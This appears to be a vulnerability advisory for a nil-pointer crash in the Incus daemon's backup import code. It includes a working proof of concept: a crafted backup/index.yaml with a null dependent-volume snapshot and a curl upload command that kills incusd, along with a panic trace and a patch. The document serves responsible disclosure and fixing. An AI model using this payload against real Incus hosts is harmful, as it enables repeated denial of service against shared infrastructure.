| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/lxc/incus | mọi phiên bản | |
| github.com/lxc/incus/v6 | mọi phiên bản | |
| github.com/lxc/incus/v7 | < 7.1.0 | 7.1.0 |
| github.com/lxc/incus/v7/cmd/incusd | < 7.1.0 | 7.1.0 |
(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).
This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.
internal/server/storage/backend.go:9352-9412:
func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
...
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil { // ← d768f81 parent fix
return errors.New("Bad dependent volume definition found in index")
}
...
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil
}
bInfo := backup.Info{
Project: disk.Volume.Project, // ← disk.Volume may be nil
Name: disk.Volume.Name,
Backend: disk.Pool.Driver, // ← disk.Pool may be nil
Pool: disk.Pool.Name,
...
}
...
devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
...
}
}
disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is , is — all yaml . YAML omission decodes to nil for each.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí*api.StoragePoolVolumeSnapshots[]*api.StorageVolumeSnapshotomitemptyThe parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
can_create_instances on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.POST /1.0/instances with Content-Type: application/octet-stream and X-Incus-name: <name>.backup/index.yaml whose config: block has a non-nil container: (passes instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and a dependent_volumes: list with a malformed entry.instancesPost -> createFromBackup:854 (Container guard passes) -> pool.CreateInstanceFromBackup -> backend.go:782 b.createDependentVolumesFromBackup -> backend.go:9374 snap.Name panics on the nil *api.StorageVolumeSnapshot element.incusd dies. Persistent DoS on repeat.Minimal backup/index.yaml (used in the bundled PoC):
name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
container:
name: poc-inst
architecture: x86_64
type: container
profiles: ["default"]
config: {}
devices: {}
expanded_devices:
depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
expanded_config: {}
dependent_volumes:
- volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
pool: {name: default, driver: dir, config: {}}
volume_snapshots:
- ~ # explicit null entry → snap.Name at 9374 panics
(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)
An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.
Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-inst.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-inst' \
http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep # process gone
Daemon panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
/build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
/build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
/build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incus/internal/server/operations/operations.go:307 +0x2c
Stack frame backend.go:9374 is the literal snap.Name line.
incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.can_create_instances on any project. Not behind the admin tier.:8443 or the unix socket.dependent_volumes feature did not exist in v6.x, so the vulnerable code is v7-only.--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil {
return errors.New("Bad dependent volume definition found in index")
}
+
+ if disk.Volume == nil || disk.Pool == nil {
+ return errors.New("Bad dependent volume definition: missing volume or pool")
+ }
+
+ for _, snap := range disk.VolumeSnapshots {
+ if snap == nil {
+ return errors.New("Bad dependent volume snapshot definition")
+ }
+ }
+
optimizedStorage := srcBackup.OptimizedStorage
optimizedHeader := srcBackup.OptimizedHeader
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name)
}
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.